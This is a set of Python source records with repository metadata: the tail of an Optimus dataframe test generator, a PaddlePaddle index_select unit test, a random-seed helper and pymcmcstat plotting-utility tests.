#t.create(None, \"cols.nest\", \"vector_all_columns\", \"df\", [numeric_col, numeric_col_B], new_col, shape=\"vector\"),\n    t.create(None, \"cols.nest\", \"vector\", \"df\", [numeric_col_C, numeric_col_B], new_col, shape=\"vector\"),\n\n    #t.create(None, \"cols.nest\", \"array_all_columns\", \"df\", \"*\", new_col, shape=\"array\"),\n    t.create(None, \"cols.nest\", \"array\", \"df\", [numeric_col, numeric_col_B,numeric_col_C], new_col, shape=\"array\"),\n\n    t.create(None, \"cols.unnest\", \"array_all_columns\", \"df\", array_col, \"-\", index=1),\n    t.create(None, \"cols.unnest\", \"array\", \"df\", array_col),\n    t.create(None, \"cols.unnest\", \"array_all_columns\", \"df\", array_col),\n\n    t.create(None, \"cols.is_na\", \"all_columns\", \"df\", \"*\"),\n    t.create(None, \"cols.is_na\", None, \"df\", numeric_col),\n\n)\n# -\n\nt = Test(op,df, \"df_rows\", imports=[\"from pyspark.ml.linalg import Vectors, VectorUDT, DenseVector\",\n                                         \"import numpy as np\",\n                                        \"nan = np.nan\",\n                                        \"import datetime\",\n                                        \"from pyspark.sql import functions as F\",\n                                        \"from optimus.functions import abstract_udf as audf\"])\n\nrows = [\n        (\"Optim'us\", 28, \"Leader\", 10, 5000000, 4.30, [\"Inochi\", \"Convoy\"], \"19.442735,-99.201111\", \"1980/04/10\",\n         \"2016/09/10\", [8.5344, 4300.0], date(2016, 9, 10), datetime(2014, 6, 24), True, bytearray(\"Leader\", \"utf-8\"),\n         None)\n]\n\n# +\nfrom pyspark.sql import functions as F\nfrom optimus.functions import abstract_udf as audf\n\ndef func_data_type(value, attr):\n    return value > 1\n        \nt.run(\n\n    t.create(None, \"rows.append\", None, \"df\", rows),\n    #t.create(None, \"rows.select\", None, \"df\", F.col(\"rank\") == 7),\n    t.create(None, \"rows.select_by_dtypes\", \"integer\", \"df\", \"height(ft)\", \"integer\"),\n    t.create(None, \"rows.select_by_dtypes\", \"float\", \"df\", \"weight(t)\", \"float\"),\n    \n    \n    t.create(None, \"rows.drop_by_dtypes\", \"integer\", \"df\", \"height(ft)\", \"integer\"),\n    t.create(None, \"rows.drop_by_dtypes\", \"float\", \"df\", \"weight(t)\", \"float\"),\n    \n    #t.create(None, \"rows.drop\", None, \"df\", (F.col(\"rank\") == 10) | (F.col(\"rank\") == 7)),\n    #t.create(None, \"rows.drop\", \"audf\", \"df\", (audf(\"rank\", func_data_type, \"boolean\"))),\n    \n    t.create(None, \"rows.sort\", None, \"df\",\"rank\"),\n    t.create(None, \"rows.sort\", \"desc\", \"df\", \"rank\", \"desc\"),\n    t.create(None, \"rows.sort\", \"asc\", \"df\", \"rank\", \"asc\"),\n    \n    #t.create(None, \"rows.is_in\", None, \"df\", (\"rank\", 2)),\n)\n\n\n# -\n\n\n", "meta": {"hexsha": "bf389edc43903729e530aafb25e34301ee448353", "size": 15042, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/creator.py", "max_stars_repo_name": "pallav1991/Optimus", "max_stars_repo_head_hexsha": "5b2637dd6a047f79f96d6a634ca31313d3be4c41", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-03-24T19:45:36.000Z", "max_stars_repo_stars_event_max_datetime": "2020-03-24T19:45:36.000Z", "max_issues_repo_path": "tests/creator.py", "max_issues_repo_name": "pallav1991/Optimus", "max_issues_repo_head_hexsha": "5b2637dd6a047f79f96d6a634ca31313d3be4c41", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 8, "max_issues_repo_issues_event_min_datetime": "2020-11-13T18:58:19.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-10T02:01:47.000Z", "max_forks_repo_path": "tests/creator/creator.py", "max_forks_repo_name": "gaybro8777/Optimus", "max_forks_repo_head_hexsha": "a64e9ed365aee667a9198372bba478ce69cd280e", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2020-03-24T18:43:48.000Z", "max_forks_repo_forks_event_max_datetime": "2020-03-24T18:43:48.000Z", "avg_line_length": 39.171875, "max_line_length": 120, "alphanum_fraction": 0.5754553916, "include": true, "reason": "import numpy", "num_tokens": 4563, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4532618480153861, "lm_q2_score": 0.13846179590164853, "lm_q1q2_score": 0.06275944948991043}}
{"text": "# Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom __future__ import print_function\n\nimport unittest\nimport paddle\nimport numpy as np\nimport paddle.fluid.core as core\nfrom op_test import OpTest\nimport paddle.fluid as fluid\nfrom paddle.fluid import Program, program_guard\n\n\nclass TestIndexSelectOp(OpTest):\n    def setUp(self):\n        self.op_type = \"index_select\"\n        self.init_dtype_type()\n        index_np = np.random.randint(\n            low=0, high=self.x_shape[self.dim], size=self.index_size)\n        x_np = np.random.random(self.x_shape).astype(self.x_type)\n        self.inputs = {'X': x_np, 'Index': index_np}\n        self.attrs = {'dim': self.dim}\n        outer_loop = np.prod(self.x_shape[:self.dim])\n        x_reshape = [outer_loop] + list(self.x_shape[self.dim:])\n        x_np_reshape = np.reshape(x_np, tuple(x_reshape))\n        out_list = []\n        for i in range(outer_loop):\n            for j in range(self.index_size):\n                out_list.append(x_np_reshape[i, index_np[j]])\n        self.out_shape = list(self.x_shape)\n        self.out_shape[self.dim] = self.index_size\n        self.out_shape = tuple(self.out_shape)\n\n        out = np.reshape(out_list, self.out_shape)\n        self.outputs = {'Out': out}\n\n    def init_dtype_type(self):\n        self.dim = 1\n        self.x_type = np.float64\n        self.index_type = np.int64\n        self.x_shape = (100, 4, 5)\n        self.index_size = 100\n\n    def test_check_output(self):\n        self.check_output()\n\n    def test_check_grad_normal(self):\n        self.check_grad(['X'], 'Out')\n\n\nclass TestIndexSelectOpCase2(TestIndexSelectOp):\n    def init_dtype_type(self):\n        self.x_type = np.float32\n        self.index_type = np.int32\n        self.dim = -2\n        self.x_shape = (10, 10, 4, 10)\n        self.index_size = 10\n\n\nclass TestIndexSelectOpCaseSingleThread(TestIndexSelectOp):\n    def init_dtype_type(self):\n        if fluid.is_compiled_with_cuda():\n            fluid.set_flags({'FLAGS_cudnn_deterministic': True})\n        self.x_type = np.float32\n        self.index_type = np.int32\n        self.dim = -2\n        self.x_shape = (10, 10, 4, 10)\n        self.index_size = 10\n\n\nclass TestIndexSelectAPI(unittest.TestCase):\n    def input_data(self):\n        self.data_x = np.array([[1.0, 2.0, 3.0, 4.0], [5.0, 6.0, 7.0, 8.0],\n                                [9.0, 10.0, 11.0, 12.0]])\n        self.data_index = np.array([0, 1, 1]).astype('int32')\n\n    def test_index_select_api(self):\n        self.input_data()\n\n        # case 1:\n        with program_guard(Program(), Program()):\n            x = fluid.layers.data(name='x', shape=[-1, 4])\n            index = fluid.layers.data(\n                name='index', shape=[3], dtype='int32', append_batch_size=False)\n            z = paddle.index_select(x, index, axis=1)\n            exe = fluid.Executor(fluid.CPUPlace())\n            res, = exe.run(feed={'x': self.data_x,\n                                 'index': self.data_index},\n                           fetch_list=[z.name],\n                           return_numpy=False)\n        expect_out = np.array([[1.0, 2.0, 2.0], [5.0, 6.0, 6.0],\n                               [9.0, 10.0, 10.0]])\n        self.assertTrue(np.allclose(expect_out, np.array(res)))\n\n        # case 2:\n        with program_guard(Program(), Program()):\n            x = fluid.layers.data(name='x', shape=[-1, 4])\n            index = fluid.layers.data(\n                name='index', shape=[3], dtype='int32', append_batch_size=False)\n            z = paddle.index_select(x, index)\n            exe = fluid.Executor(fluid.CPUPlace())\n            res, = exe.run(feed={'x': self.data_x,\n                                 'index': self.data_index},\n                           fetch_list=[z.name],\n                           return_numpy=False)\n        expect_out = np.array(\n            [[1.0, 2.0, 3.0, 4.0], [5.0, 6.0, 7.0, 8.0], [5.0, 6.0, 7.0, 8.0]])\n        self.assertTrue(np.allclose(expect_out, np.array(res)))\n\n    def test_dygraph_api(self):\n        self.input_data()\n        # case 1:\n        with fluid.dygraph.guard():\n            x = fluid.dygraph.to_variable(self.data_x)\n            index = fluid.dygraph.to_variable(self.data_index)\n            z = paddle.index_select(x, index)\n            np_z = z.numpy()\n        expect_out = np.array(\n            [[1.0, 2.0, 3.0, 4.0], [5.0, 6.0, 7.0, 8.0], [5.0, 6.0, 7.0, 8.0]])\n        self.assertTrue(np.allclose(expect_out, np_z))\n\n        # case 2:\n        with fluid.dygraph.guard():\n            x = fluid.dygraph.to_variable(self.data_x)\n            index = fluid.dygraph.to_variable(self.data_index)\n            z = paddle.index_select(x, index, axis=1)\n            np_z = z.numpy()\n        expect_out = np.array([[1.0, 2.0, 2.0], [5.0, 6.0, 6.0],\n                               [9.0, 10.0, 10.0]])\n        self.assertTrue(np.allclose(expect_out, np_z))\n\n\nif __name__ == '__main__':\n    unittest.main()\n", "meta": {"hexsha": "f4545d406901cec30fb30162ccfdd4182e7c97dc", "size": 5468, "ext": "py", "lang": "Python", "max_stars_repo_path": "python/paddle/fluid/tests/unittests/test_index_select_op.py", "max_stars_repo_name": "zhusonghe/Paddle", "max_stars_repo_head_hexsha": "9147da08e136104a7eb48c724a40732c1cda449d", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2022-03-30T09:55:45.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T09:55:49.000Z", "max_issues_repo_path": "python/paddle/fluid/tests/unittests/test_index_select_op.py", "max_issues_repo_name": "z1gov/Paddle", "max_issues_repo_head_hexsha": "7d1bb6d6d465f4cfb0e0220ade9dadaef11e2bd0", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "python/paddle/fluid/tests/unittests/test_index_select_op.py", "max_forks_repo_name": "z1gov/Paddle", "max_forks_repo_head_hexsha": "7d1bb6d6d465f4cfb0e0220ade9dadaef11e2bd0", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 37.1972789116, "max_line_length": 80, "alphanum_fraction": 0.5815654718, "include": true, "reason": "import numpy", "num_tokens": 1440, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4532618627863437, "lm_q2_score": 0.13846178701384168, "lm_q1q2_score": 0.06275944750661985}}
{"text": "import os\nimport random\nimport numpy as np\nfrom tensorflow.random import set_seed\nSEED = 42\n\ndef setup_seed():\n    os.environ[\"TF_DETERMINISTIC_OPS\"] = \"1\"\n    os.environ[\"PYTHONHASHSEED\"] = str(SEED)\n    random.seed(SEED)\n    np.random.seed(SEED)\n    set_seed(SEED)\n    return", "meta": {"hexsha": "eb3afdb795984c4eaf5c7f254e7c02e64a6bdb00", "size": 277, "ext": "py", "lang": "Python", "max_stars_repo_path": "xplainet/src/xplainet/random_utils.py", "max_stars_repo_name": "Hartorn/explanable-net", "max_stars_repo_head_hexsha": "25f99697593a9ef134a4cbb05287b19c3db39443", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-09-19T11:57:57.000Z", "max_stars_repo_stars_event_max_datetime": "2020-09-19T11:57:57.000Z", "max_issues_repo_path": "xplainet/src/xplainet/random_utils.py", "max_issues_repo_name": "Hartorn/explanable-net", "max_issues_repo_head_hexsha": "25f99697593a9ef134a4cbb05287b19c3db39443", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 7, "max_issues_repo_issues_event_min_datetime": "2020-04-17T11:18:00.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-26T15:17:22.000Z", "max_forks_repo_path": "xplainet/src/xplainet/random_utils.py", "max_forks_repo_name": "Hartorn/explanable-net", "max_forks_repo_head_hexsha": "25f99697593a9ef134a4cbb05287b19c3db39443", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 21.3076923077, "max_line_length": 44, "alphanum_fraction": 0.7075812274, "include": true, "reason": "import numpy", "num_tokens": 79, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48438008427698437, "lm_q2_score": 0.12940273327036908, "lm_q1q2_score": 0.0626801068471735}}
{"text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed May 30 05:57:34 2018\n\n@author: prmiles\n\"\"\"\n\nfrom pymcmcstat.plotting import utilities\nimport unittest\nfrom mock import patch\nimport numpy as np\nimport math\n\n# --------------------------\nclass GenerateSubplotGrid(unittest.TestCase):\n    def test_generate_subplot_grid(self):\n        nparam = 5\n        ns1, ns2 = utilities.generate_subplot_grid(nparam = nparam)\n        self.assertEqual(ns1, math.ceil(math.sqrt(nparam)), msg = 'Expect 3')\n        self.assertEqual(ns2, round(math.sqrt(nparam)), msg = 'Expect 2')\n\n    def test_generate_subplot_grid_1(self):\n        nparam = 1\n        ns1, ns2 = utilities.generate_subplot_grid(nparam = nparam)\n        self.assertEqual(ns1, math.ceil(math.sqrt(nparam)), msg = 'Expect 1')\n        self.assertEqual(ns2, round(math.sqrt(nparam)), msg = 'Expect 1')\n\n# --------------------------\nclass GenerateNames(unittest.TestCase):\n    \n    def test_default_names(self):\n        nparam = 8\n        names = utilities.generate_names(nparam = nparam, names = None)\n        self.assertEqual(len(names), nparam, msg = 'Length of names should match number of parameters')\n        for ii in range(nparam):\n            self.assertEqual(names[ii], str('$p_{{{}}}$'.format(ii)))\n\n    def test_names_partial(self):\n        nparam = 8\n        names = ['hi']\n        names = utilities.generate_names(nparam = nparam, names = names)\n        self.assertEqual(names[0], 'hi', msg = 'First name is hi')\n        for ii in range(1, nparam):\n            self.assertEqual(names[ii], str('$p_{{{}}}$'.format(ii)))\n \n# --------------------------\nclass SetupPlotFeatures(unittest.TestCase):\n    def test_default_features(self):\n        nparam = 2\n        ns1, ns2, names, figsizeinches = utilities.setup_plot_features(nparam = nparam, names = None, figsizeinches = None)\n        self.assertEqual(ns1, math.ceil(math.sqrt(nparam)), msg = 'Expect 3')\n        self.assertEqual(ns2, round(math.sqrt(nparam)), msg = 'Expect 2')\n        for ii in range(nparam):\n            self.assertEqual(names[ii], str('$p_{{{}}}$'.format(ii)))\n        self.assertEqual(figsizeinches, [5,4], msg = 'Default figure size is [5,4]')\n        \n    def test_nondefault_features(self):\n        nparam = 2\n        ns1, ns2, names, figsizeinches = utilities.setup_plot_features(nparam = nparam, names = ['hi'], figsizeinches = [7,2])\n        self.assertEqual(ns1, math.ceil(math.sqrt(nparam)), msg = 'Expect 3')\n        self.assertEqual(ns2, round(math.sqrt(nparam)), msg = 'Expect 2')\n        self.assertEqual(names[0], 'hi', msg = 'First name is hi')\n        for ii in range(1, nparam):\n            self.assertEqual(names[ii], str('$p_{{{}}}$'.format(ii)))\n        self.assertEqual(figsizeinches, [7,2], msg = 'Default figure size is [7,2]')\n        \n# --------------------------\nclass GenerateDefaultNames(unittest.TestCase):\n    \n    def test_size_of_default_names(self):\n        nparam = 8\n        names = utilities.generate_default_names(nparam = nparam)\n        self.assertEqual(len(names), nparam, msg = 'Length of names should match number of parameters')\n        \n    def test_value_of_default_names(self):\n        names = utilities.generate_default_names(nparam = 3)\n        expected_names = ['$p_{0}$','$p_{1}$','$p_{2}$']\n        self.assertEqual(names, expected_names,\n                         msg = str('Names do not match: Expected - {}, Received - {}'.format(expected_names, names)))\n\n# --------------------------\nclass ExtendNamesToMatchNparam(unittest.TestCase):\n    \n    def test_initially_empty_name_set(self):\n        nparam = 3\n        names = utilities.extend_names_to_match_nparam(names = None, nparam = nparam)\n        expected_names = ['$p_{0}$','$p_{1}$','$p_{2}$']\n        self.assertEqual(names, expected_names,\n                         msg = str('Names do not match: Expected - {}, Received - {}'.format(expected_names, names)))\n        \n    def test_single_entry_name_set(self):\n        nparam = 3\n        names = ['aa']\n        names = utilities.extend_names_to_match_nparam(names = names, nparam = nparam)\n        expected_names = ['aa','$p_{1}$','$p_{2}$']\n        self.assertEqual(names, expected_names,\n                         msg = str('Names do not match: Expected - {}, Received - {}'.format(expected_names, names)))\n\n    def test_double_entry_name_set(self):\n        nparam = 3\n        names = ['aa', 'zz']\n        names = utilities.extend_names_to_match_nparam(names = names, nparam = nparam)\n        expected_names = ['aa','zz','$p_{2}$']\n        self.assertEqual(names, expected_names, \n                         msg = str('Names do not match: Expected - {}, Received - {}'.format(expected_names, names)))\n    \n# --------------------------\nclass MakeXGrid(unittest.TestCase):\n    \n    def test_shape_of_output(self):\n        x = np.linspace(0, 10, num = 50)\n        npts = 20\n        xgrid = utilities.make_x_grid(x = x, npts = 20)\n        self.assertEqual(xgrid.shape, (npts, 1), msg = str('Expected return dimension of ({}, 1)'.format(npts)))\n        \n    def test_default_shape_of_output(self):\n        x = np.linspace(0, 10, num = 50)\n        xgrid = utilities.make_x_grid(x = x)\n        self.assertEqual(xgrid.shape, (100, 1), msg = 'Expected return dimension of (100, 1)')\n        \n    def test_shape_of_output_for_dense_x(self):\n        x = np.linspace(0, 10, num = 500)\n        npts = 20\n        xgrid = utilities.make_x_grid(x = x, npts = 20)\n        self.assertEqual(xgrid.shape, (npts, 1), msg = 'Expected return dimension of (npts, 1)')\n        \n    def test_default_shape_of_output_for_dense_x(self):\n        x = np.linspace(0, 10, num = 500)\n        xgrid = utilities.make_x_grid(x = x)\n        self.assertEqual(xgrid.shape, (100, 1), msg = 'Expected return dimension of (100, 1)')\n    \n# --------------------------\nclass GenerateEllipse(unittest.TestCase):\n\n    def test_does_non_square_matrix_return_error(self):\n        cmat = np.zeros([3,2])\n        mu = np.zeros([2,1])\n        with self.assertRaises(SystemExit):\n            utilities.generate_ellipse(mu, cmat)\n            \n    def test_does_non_symmetric_matrix_return_error(self):\n        cmat = np.array([[3,2],[1,3]])\n        mu = np.zeros([2,1])\n        with self.assertRaises(SystemExit):\n            utilities.generate_ellipse(mu, cmat)\n            \n    def test_does_non_positive_definite_matrix_return_error(self):\n        cmat = np.zeros([2,2])\n        mu = np.zeros([2,1])\n        with self.assertRaises(SystemExit):\n            utilities.generate_ellipse(mu, cmat)\n            \n    def test_does_good_matrix_return_equal_sized_xy_arrays(self):\n        cmat = np.eye(2)\n        mu = np.zeros([2,1])\n        x,y = utilities.generate_ellipse(mu, cmat)\n        self.assertEqual(x.shape,y.shape)\n        \n    def test_does_good_matrix_return_correct_size_array(self):\n        cmat = np.eye(2)\n        mu = np.zeros([2,1])\n        ndp = 50 # number of points to generate ellipse shape\n        x,y = utilities.generate_ellipse(mu, cmat, ndp)\n        self.assertEqual(x.size, ndp)\n        self.assertEqual(y.size, ndp)\n        \n# --------------------------\nclass GaussianDensityFunction(unittest.TestCase):\n    \n    def test_float_return_with_float_input(self):\n        self.assertTrue(isinstance(utilities.gaussian_density_function(x = 0.), float),\n                             msg = 'Expected float return')\n        \n    def test_float_return_with_int_input(self):\n        self.assertTrue(isinstance(utilities.gaussian_density_function(x = 0), float),\n                             msg = 'Expected float return')\n        \n    def test_float_return_with_float_input_at_nondefault_mean(self):\n        self.assertTrue(isinstance(utilities.gaussian_density_function(x = 0., mu = 100), float),\n                             msg = 'Expected float return')\n        \n# --------------------------\nclass IQrange(unittest.TestCase):\n    \n    def test_array_return_with_column_vector_input(self):\n        x = np.random.random_sample(size = (100,1))\n        q = utilities.iqrange(x = x)\n        self.assertTrue(isinstance(q, np.ndarray), msg = 'Expected array return - received {}'.format(type(q)))\n        self.assertEqual(q.size, 1, msg = 'Expect single element array')\n        \n    def test_array_return_with_row_vector_input(self):\n        x = np.random.random_sample(size = (1,100))\n        q = utilities.iqrange(x = x)\n        self.assertTrue(isinstance(q, np.ndarray), msg = 'Expected array return - received {}'.format(type(q)))\n        self.assertEqual(q.size, 1, msg = 'Expect single element array')\n        \n# --------------------------\nclass ScaleBandWidth(unittest.TestCase):\n    \n    def test_array_return_with_column_vector_input(self):\n        x = np.random.random_sample(size = (100,1))\n        s = utilities.scale_bandwidth(x = x)\n        self.assertTrue(isinstance(s, np.ndarray), msg = 'Expected array return - received {}'.format(type(s)))\n        self.assertEqual(s.size, 1, msg = 'Expect single element array')\n        \n    def test_array_return_with_row_vector_input(self):\n        x = np.random.random_sample(size = (1,100))\n        s = utilities.scale_bandwidth(x = x)\n        self.assertTrue(isinstance(s, np.ndarray), msg = 'Expected array return - received {}'.format(type(s)))\n        self.assertEqual(s.size, 1, msg = 'Expect single element array')\n        \n    @patch('pymcmcstat.plotting.utilities.iqrange', return_value = -1.0)\n    def test_array_return_with_iqrange_lt_0(self, mock_iqrange):\n        x = np.random.random_sample(size = (1,100))\n        s = utilities.scale_bandwidth(x = x)\n        self.assertTrue(isinstance(s, np.ndarray), msg = 'Expected array return - received {}'.format(type(s)))\n        self.assertEqual(s.size, 1, msg = 'Expect single element array')\n        \n    @patch('pymcmcstat.plotting.utilities.iqrange', return_value = 1.0)\n    def test_array_return_with_iqrange_gt_0(self, mock_iqrange):\n        x = np.random.random_sample(size = (1,100))\n        s = utilities.scale_bandwidth(x = x)\n        self.assertTrue(isinstance(s, np.ndarray), msg = 'Expected array return - received {}'.format(type(s)))\n        self.assertEqual(s.size, 1, msg = 'Expect single element array')\n        \n# --------------------------\nclass AppendToNrowNcolBasedOnShape(unittest.TestCase):\n    def test_shape_is_2d(self):\n        nrow = []\n        ncol = []\n        sh = (2,1)\n        nrow, ncol = utilities.append_to_nrow_ncol_based_on_shape(sh = sh, nrow = nrow, ncol = ncol)\n        self.assertEqual(nrow, [2], msg = 'Expect [2]')\n        self.assertEqual(ncol, [1], msg = 'Expect [1]')\n        \n    def test_shape_is_1d(self):\n        nrow = []\n        ncol = []\n        sh = (2,)\n        nrow, ncol = utilities.append_to_nrow_ncol_based_on_shape(sh = sh, nrow = nrow, ncol = ncol)\n        self.assertEqual(nrow, [2], msg = 'Expect [2]')\n        self.assertEqual(ncol, [1], msg = 'Expect [1]')\n        \n# --------------------------\nclass ConvertFlagToBoolean(unittest.TestCase):\n    def test_boolean_conversion(self):\n        self.assertTrue(utilities.convert_flag_to_boolean(flag = 'on'), msg = 'on -> True')\n        self.assertFalse(utilities.convert_flag_to_boolean(flag = 'off'), msg = 'off -> False')\n        \n# --------------------------\nclass SetLocalParameters(unittest.TestCase):\n    def test_set_local_parameters(self):\n        slp = utilities.set_local_parameters\n        self.assertTrue(np.array_equal(slp(ii = 0, local = np.array([0, 0])), np.array([True, True])), msg = 'Expect Array [True, True]')\n        self.assertTrue(np.array_equal(slp(ii = 0, local = np.array([0, 1])), np.array([True, False])), msg = 'Expect Array [True, False]')\n        self.assertTrue(np.array_equal(slp(ii = 0, local = np.array([1, 0])), np.array([False, True])), msg = 'Expect Array [False, True]')\n\n        self.assertTrue(np.array_equal(slp(ii = 1, local = np.array([0, 1])), np.array([True, True])), msg = 'Expect Array [True, True]')\n        self.assertTrue(np.array_equal(slp(ii = 1, local = np.array([1, 0])), np.array([True, True])), msg = 'Expect Array [True, True]')\n        \n        self.assertTrue(np.array_equal(slp(ii = 1, local = np.array([2, 2])), np.array([False, False])), msg = 'Expect Array [False, False]')\n        self.assertTrue(np.array_equal(slp(ii = 2, local = np.array([1, 2])), np.array([False, True])), msg = 'Expect Array [False, True]')\n        \n# --------------------------------------------\nclass Empirical_Quantiles_Test(unittest.TestCase):\n\n    def test_does_default_empirical_quantiles_return_3_element_array(self):\n        test_out = utilities.empirical_quantiles(np.random.rand(10,1))\n        self.assertEqual(test_out.shape, (3,1), msg = 'Default output shape is (3,1)')\n        \n    def test_does_non_default_empirical_quantiles_return_2_element_array(self):\n        test_out = utilities.empirical_quantiles(np.random.rand(10,1), p = np.array([0.2, 0.5]))\n        self.assertEqual(test_out.shape, (2,1), msg = 'Non-default output shape should be (2,1)')\n        \n    def test_empirical_quantiles_should_not_support_list_input(self):\n        with self.assertRaises(AttributeError):\n            utilities.empirical_quantiles([-1,0,1])\n            \n    def test_empirical_quantiles_vector(self):\n        out = utilities.empirical_quantiles(np.linspace(10,20, num = 10).reshape(10,1), p = np.array([0.22, 0.57345]))\n        exact = np.array([[12.2], [15.7345]])\n        comp = np.linalg.norm(out - exact)\n        self.assertAlmostEqual(comp, 0)\n        \n# --------------------------\nclass CheckSettings(unittest.TestCase):\n\n    def test_settings_with_user_none(self):\n        user_settings = None\n        default_settings = dict(a = False, linewidth = 3, marker = dict(markersize = 5, color = 'g'))\n        settings = utilities.check_settings(default_settings = default_settings, user_settings = user_settings)\n        self.assertEqual(settings, default_settings, msg = str('Expect dictionaries to match: {} neq {}'.format(settings, default_settings)))\n        \n    def test_settings_with_subdict(self):\n        user_settings = dict(a = True, fontsize = 12)\n        default_settings = dict(a = False, linewidth = 3, marker = dict(markersize = 5, color = 'g'))\n        settings = utilities.check_settings(default_settings = default_settings, user_settings = user_settings)\n        self.assertEqual(settings['a'], user_settings['a'], msg = 'Expect user setting to overwrite')\n        self.assertEqual(settings['marker'], default_settings['marker'], msg = 'Expect default to persist')\n        \n    def test_settings_with_subdict_user_ow(self):\n        user_settings = dict(a = True, fontsize = 12, marker = dict(color = 'b'))\n        default_settings = dict(a = False, linewidth = 3, marker = dict(markersize = 5, color = 'g'))\n        settings = utilities.check_settings(default_settings = default_settings, user_settings = user_settings)\n        self.assertEqual(settings['a'], user_settings['a'], msg = 'Expect user setting to overwrite')\n        self.assertEqual(settings['marker']['color'], user_settings['marker']['color'], msg = 'Expect user to overwrite')\n        self.assertEqual(settings['marker']['markersize'], default_settings['marker']['markersize'], msg = 'Expect default to persist')\n        \n    def test_settings_with_subdict_user_has_new_setting(self):\n        user_settings = dict(a = True, fontsize = 12, marker = dict(color = 'b'), linestyle = '--')\n        default_settings = dict(a = False, linewidth = 3, marker = dict(markersize = 5, color = 'g'))\n        settings = utilities.check_settings(default_settings = default_settings, user_settings = user_settings)\n        self.assertEqual(settings['a'], user_settings['a'], msg = 'Expect user setting to overwrite')\n        self.assertEqual(settings['marker']['color'], user_settings['marker']['color'], msg = 'Expect user to overwrite')\n        self.assertEqual(settings['marker']['markersize'], default_settings['marker']['markersize'], msg = 'Expect default to persist')\n        self.assertEqual(settings['linestyle'], user_settings['linestyle'], msg = 'Expect user setting to be added')\n\n\n# --------------------------\nclass SetupSubsample(unittest.TestCase):\n\n    def test_max_lt_nsimu(self):\n        skip = 1\n        maxpoints = 10\n        nsimu = 100\n        inds = utilities.setup_subsample(skip, maxpoints, nsimu)\n        self.assertTrue(isinstance(inds, np.ndarray),\n                        msg='Expect numpy array')\n        self.assertEqual(inds.shape, (10,), msg='Expect (10,)')\n\n    def test_max_gt_nsimu(self):\n        skip = 1\n        maxpoints = 1000\n        nsimu = 100\n        inds = utilities.setup_subsample(skip, maxpoints, nsimu)\n        self.assertTrue(isinstance(inds, np.ndarray),\n                        msg='Expect numpy array')\n        self.assertEqual(inds.shape, (100,), msg='Expect (100,)')\n        skip = 3\n        maxpoints = 1000\n        nsimu = 100\n        inds = utilities.setup_subsample(skip, maxpoints, nsimu)\n        self.assertTrue(isinstance(inds, np.ndarray),\n                        msg='Expect numpy array')\n        self.assertEqual(inds.shape, (34,), msg='Expect (34,)')\n\n    def test_max_eq_nsimu(self):\n        skip = 1\n        maxpoints = 100\n        nsimu = 100\n        inds = utilities.setup_subsample(skip, maxpoints, nsimu)\n        self.assertTrue(isinstance(inds, np.ndarray),\n                        msg='Expect numpy array')\n        self.assertEqual(inds.shape, (100,), msg='Expect (100,)')", "meta": {"hexsha": "1c7475851f6bce443b27f544158de4597ed440c9", "size": 17442, "ext": "py", "lang": "Python", "max_stars_repo_path": "test/plotting/test_utilities.py", "max_stars_repo_name": "vishalbelsare/pymcmcstat", "max_stars_repo_head_hexsha": "b4b10547ce00fe5e095871ae8ee48b381d9a2a2b", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 55, "max_stars_repo_stars_event_min_datetime": "2018-03-19T02:28:13.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-16T19:17:18.000Z", "max_issues_repo_path": "test/plotting/test_utilities.py", "max_issues_repo_name": "vishalbelsare/pymcmcstat", "max_issues_repo_head_hexsha": "b4b10547ce00fe5e095871ae8ee48b381d9a2a2b", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 68, "max_issues_repo_issues_event_min_datetime": "2018-07-09T19:04:16.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-11T20:17:38.000Z", "max_forks_repo_path": "test/plotting/test_utilities.py", "max_forks_repo_name": "vishalbelsare/pymcmcstat", "max_forks_repo_head_hexsha": "b4b10547ce00fe5e095871ae8ee48b381d9a2a2b", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 8, "max_forks_repo_forks_event_min_datetime": "2019-06-11T09:08:13.000Z", "max_forks_repo_forks_event_max_datetime": "2022-01-11T16:23:57.000Z", "avg_line_length": 49.1323943662, "max_line_length": 141, "alphanum_fraction": 0.6208003669, "include": true, "reason": "import numpy", "num_tokens": 4088, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4843800842769843, "lm_q2_score": 0.12940272991290905, "lm_q1q2_score": 0.06268010522088673}}
